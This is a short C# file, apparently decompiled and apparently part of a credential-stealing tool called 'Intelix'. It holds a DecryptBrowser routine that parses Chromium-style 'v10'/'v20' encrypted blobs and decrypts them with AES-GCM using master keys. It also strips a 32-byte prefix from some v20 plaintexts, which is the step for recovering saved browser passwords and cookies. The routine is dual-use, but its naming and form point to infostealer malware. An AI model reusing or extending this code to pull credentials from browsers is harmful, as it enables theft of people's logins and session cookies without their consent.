using System; using System.Text; namespace Intelix.Helper.Encrypted; public static class AesGcm { private const int MacBitSize = 128; private const int NonceBitSize = 96; private const int TagBytes = 16; private const int NonceBytes = 12; private const int HeaderBytes = 3; public static byte[] DecryptBrowser(byte[] encryptedData, byte[] masterKey10, byte[] masterKey20, bool checkprefix) { if (encryptedData.Length < 31) { return null; } string text = Encoding.ASCII.GetString(encryptedData, 0, 3); byte[] array = new byte[12]; Buffer.BlockCopy(encryptedData, 3, array, 0, 12); int num = 15; int num2 = encryptedData.Length - num - 16; if (num2 < 0) { return null; } byte[] array2 = new byte[num2]; if (num2 > 0) { Buffer.BlockCopy(encryptedData, num, array2, 0, num2); } byte[] array3 = new byte[16]; Buffer.BlockCopy(encryptedData, encryptedData.Length - 16, array3, 0, 16); byte[] array4 = ((text == "v20") ? masterKey20 : ((text == "v10") ? masterKey10 : null)); if (array4 == null) { return null; } byte[] array5 = AesGcm256.Decrypt(array4, array, null, array2, array3); if (array5 == null) { return null; } if (checkprefix && HasPrefix(array5)) { if (array5.Length <= 32) { return array5; } int num3 = 0; for (int i = 0; i < 32; i++) { byte b = array5[i]; if (b >= 32 && b <= 126) { num3++; } if (num3 > 2) { break; } } if (num3 > 2) { if (array5.Length <= 32) { return new byte[0]; } byte[] array6 = new byte[array5.Length - 32]; Array.Copy(array5, 32, array6, 0, array6.Length); return array6; } } return array5; } private static bool HasPrefix(byte[] plainText) { if (plainText.Length < 32) { return false; } int num = 0; for (int i = 0; i < 32; i++) { if (plainText[i] >= 32 && plainText[i] <= 126) { num++; } } return num > 2; } }